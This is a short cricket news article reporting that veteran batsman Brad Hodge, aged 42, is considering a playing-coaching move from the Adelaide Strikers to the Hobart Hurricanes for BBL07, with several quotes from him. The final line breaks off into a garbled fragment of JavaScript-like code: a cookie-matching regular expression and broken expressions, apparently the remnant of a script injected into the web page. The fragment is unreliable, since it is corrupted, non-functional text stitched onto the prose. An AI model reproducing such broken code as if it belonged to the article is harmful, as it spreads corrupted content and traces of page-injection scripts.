Australian veteran Brad Hodge could swap the blue of the Adelaide Strikers for Hobart purple in BBL07, as he ponders a move to the apple isle next season.

The 42-year-old has shown no signs of slowing down in recent seasons, as he hit 286 runs in BBL06, the seventh most of any batsman.

Hodge told the Hobart Mercury that he would be interested in joining the Hurricanes to take up a playing-coaching role.

“Of course I would be interested,” Hodge said.

“It would be a marvellous thing to be involved in if I was given the opportunity.

“For me, any opportunity to be involved with Big Bash is exciting.

“I know I certainly enjoy playing down in Hobart and it is always good fun. It is a great ground.”

Hodge is no stranger to coaching duties, assisting Strikers’ coach Jason Gillespie since joining Adelaide and taking the Gujarat Lions to the semi-finals of last year’s Indian Premier League.

“I’ve been doing it for a fair amount of time anyway, being an assistant to (Strikers head coaches) Darren Berry and Jason (Gillespie) and also playing,” he said.

“I think it is certainly a role you can do, for sure.

“I felt like I really had a strong contribution to the team in Adelaide (with the bat) but I won’t be playing there again this year.

“It is weighing up the future and seeing what options are out there.” “(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1]):””,();||void 0===time){/1e3+86400),.(”)}
